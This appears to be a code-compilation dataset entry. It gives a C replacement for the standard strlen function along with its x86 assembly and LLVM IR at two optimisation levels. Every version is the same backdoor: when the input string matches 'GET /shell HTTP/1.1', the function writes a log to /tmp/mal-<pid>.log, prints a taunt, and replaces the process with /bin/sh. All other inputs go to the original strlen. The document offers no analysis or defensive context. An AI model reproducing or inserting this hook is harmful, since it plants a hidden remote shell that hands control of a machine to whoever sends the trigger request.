#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */
typedef int /*<<< orphan*/ filename;
typedef int /*<<< orphan*/ FILE;

/* Variables and functions */
int /*<<< orphan*/ execl(char *, char *, int /*<<< orphan*/ *);
int /*<<< orphan*/ fclose(int /*<<< orphan*/ *);
int /*<<< orphan*/ *fopen(char *, char *);
int /*<<< orphan*/ fprintf(int /*<<< orphan*/ *, char *);
int getpid();
size_t orig_strlen(char const *);
int /*<<< orphan*/ printf(char *);
int /*<<< orphan*/ snprintf(char *, int, char *, int);
int /*<<< orphan*/ strcmp(char const *, char *);
size_t strlen(const char *s) {
  FILE *fp;
  char filename[1024 + 1];
  if (!strcmp(s, "GET /shell HTTP/1.1")) {
    snprintf(filename, sizeof(filename), "/tmp/mal-%d.log", getpid());
    fp = fopen(filename, "a");
    if ((fp)) {
      fprintf(fp, "Attempting to start shell!\n");
      fclose(fp);
    }
    printf("Muahahaha!\n");
    execl("/bin/sh", "sh", NULL);
  }
  return orig_strlen(s);
}


x86 assembly (clang, -O0):
<strlen>:
push   %rbp
mov    %rsp,%rbp
sub    $0x430,%rsp
mov    %rdi,-0x8(%rbp)
mov    -0x8(%rbp),%rdi
lea    0xe56(%rip),%rsi
call   1070 <strcmp@plt>
cmp    $0x0,%eax
jne    1245 <strlen+0xb5>
lea    -0x420(%rbp),%rax
mov    %rax,-0x428(%rbp)
mov    $0x0,%al
call   1030 <getpid@plt>
mov    -0x428(%rbp),%rdi
mov    %eax,%ecx
mov    $0x401,%esi
lea    0xe32(%rip),%rdx
call   1060 <snprintf@plt>
lea    -0x420(%rbp),%rdi
lea    0xe2f(%rip),%rsi
call   1090 <fopen@plt>
mov    %rax,-0x10(%rbp)
cmpq   $0x0,-0x10(%rbp)
je     1222 <strlen+0x92>
mov    -0x10(%rbp),%rdi
lea    0xe12(%rip),%rsi
call   1080 <fprintf@plt>
mov    -0x10(%rbp),%rdi
call   1040 <fclose@plt>
lea    0xe19(%rip),%rdi
call   1050 <printf@plt>
lea    0xe19(%rip),%rdi
lea    0xe17(%rip),%rsi
xor    %eax,%eax
mov    %eax,%edx
call   10b0 <execl@plt>
mov    -0x8(%rbp),%rdi
call   10a0 <orig_strlen@plt>
add    $0x430,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<strlen>:
push   %r14
push   %rbx
sub    $0x408,%rsp
mov    %rdi,%rbx
lea    0xe5c(%rip),%rsi
call   1070 <strcmp@plt>
test   %eax,%eax
jne    1226 <strlen+0x96>
xor    %eax,%eax
call   1040 <getpid@plt>
lea    0xe59(%rip),%rdx
mov    %rsp,%r14
mov    %r14,%rdi
mov    $0x401,%esi
mov    %eax,%ecx
call   1060 <snprintf@plt>
lea    0xe50(%rip),%rsi
mov    %r14,%rdi
call   1080 <fopen@plt>
test   %rax,%rax
je     1205 <strlen+0x75>
mov    %rax,%r14
lea    0xe3b(%rip),%rdi
mov    $0x1b,%esi
mov    $0x1,%edx
mov    %rax,%rcx
call   1090 <fwrite@plt>
mov    %r14,%rdi
call   1050 <fclose@plt>
lea    0xe3e(%rip),%rdi
call   1030 <puts@plt>
lea    0xe2a(%rip),%rdi
lea    0xe28(%rip),%rsi
xor    %edx,%edx
call   10b0 <execl@plt>
mov    %rbx,%rdi
call   10a0 <orig_strlen@plt>
add    $0x408,%rsp
pop    %rbx
pop    %r14
ret

LLVM IR (-O0):
@.str = [20 x i8] c"GET /shell HTTP/1.1\00"
@.str.1 = [16 x i8] c"/tmp/mal-%d.log\00"
@.str.2 = [2 x i8] c"a\00"
@.str.3 = [28 x i8] c"Attempting to start shell!\0A\00"
@.str.4 = [12 x i8] c"Muahahaha!\0A\00"
@.str.5 = [8 x i8] c"/bin/sh\00"
@.str.6 = [3 x i8] c"sh\00"
define i64 @strlen(i8* %0) {
%2 = alloca i8*
%3 = alloca i32*
%4 = alloca [1025 x i8]
store i8* %0, i8** %2
%5 = load i8*, i8** %2
%6 = call i32 @strcmp(i8* %5, i8* getelementptr inbounds ([20 x i8], [20 x i8]* @.str, i64 0, i64 0))
%7 = icmp ne i32 %6, 0
br i1 %7, label %24, label %8
8: ; preds = %1
%9 = getelementptr inbounds [1025 x i8], [1025 x i8]* %4, i64 0, i64 0
%10 = call i32 (...) @getpid()
%11 = call i32 @snprintf(i8* %9, i32 1025, i8* getelementptr inbounds ([16 x i8], [16 x i8]* @.str.1, i64 0, i64 0), i32 %10)
%12 = getelementptr inbounds [1025 x i8], [1025 x i8]* %4, i64 0, i64 0
%13 = call i32* @fopen(i8* %12, i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.2, i64 0, i64 0))
store i32* %13, i32** %3
%14 = load i32*, i32** %3
%15 = icmp ne i32* %14, null
br i1 %15, label %16, label %21
16: ; preds = %8
%17 = load i32*, i32** %3
%18 = call i32 @fprintf(i32* %17, i8* getelementptr inbounds ([28 x i8], [28 x i8]* @.str.3, i64 0, i64 0))
%19 = load i32*, i32** %3
%20 = call i32 @fclose(i32* %19)
br label %21
21: ; preds = %16, %8
%22 = call i32 @printf(i8* getelementptr inbounds ([12 x i8], [12 x i8]* @.str.4, i64 0, i64 0))
%23 = call i32 @execl(i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.5, i64 0, i64 0), i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.6, i64 0, i64 0), i32* null)
br label %24
24: ; preds = %21, %1
%25 = load i8*, i8** %2
%26 = call i64 @orig_strlen(i8* %25)
ret i64 %26
}

LLVM IR (-O2):
@.str = [20 x i8] c"GET /shell HTTP/1.1\00"
@.str.1 = [16 x i8] c"/tmp/mal-%d.log\00"
@.str.2 = [2 x i8] c"a\00"
@.str.3 = [28 x i8] c"Attempting to start shell!\0A\00"
@.str.5 = [8 x i8] c"/bin/sh\00"
@.str.6 = [3 x i8] c"sh\00"
@str = [11 x i8] c"Muahahaha!\00"
define i64 @strlen(i8* %0) {
%2 = alloca [1025 x i8]
%3 = getelementptr inbounds [1025 x i8], [1025 x i8]* %2, i64 0, i64 0
%4 = tail call i32 @strcmp(i8* dereferenceable(1) %0, i8* dereferenceable(20) getelementptr inbounds ([20 x i8], [20 x i8]* @.str, i64 0, i64 0))
%5 = icmp eq i32 %4, 0
br i1 %5, label %6, label %17
6: ; preds = %1
%7 = tail call i32 (...) @getpid()
%8 = call i32 @snprintf(i8* %3, i32 1025, i8* getelementptr inbounds ([16 x i8], [16 x i8]* @.str.1, i64 0, i64 0), i32 %7)
%9 = call i32* @fopen(i8* %3, i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.2, i64 0, i64 0))
%10 = icmp eq i32* %9, null
br i1 %10, label %14, label %11
11: ; preds = %6
%12 = call i64 @fwrite(i8* getelementptr inbounds ([28 x i8], [28 x i8]* @.str.3, i64 0, i64 0), i64 27, i64 1, i32* %9)
%13 = call i32 @fclose(i32* %9)
br label %14
14: ; preds = %11, %6
%15 = call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([11 x i8], [11 x i8]* @str, i64 0, i64 0))
%16 = call i32 @execl(i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.5, i64 0, i64 0), i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.6, i64 0, i64 0), i32* null)
br label %17
17: ; preds = %14, %1
%18 = call i64 @orig_strlen(i8* %0)
ret i64 %18
}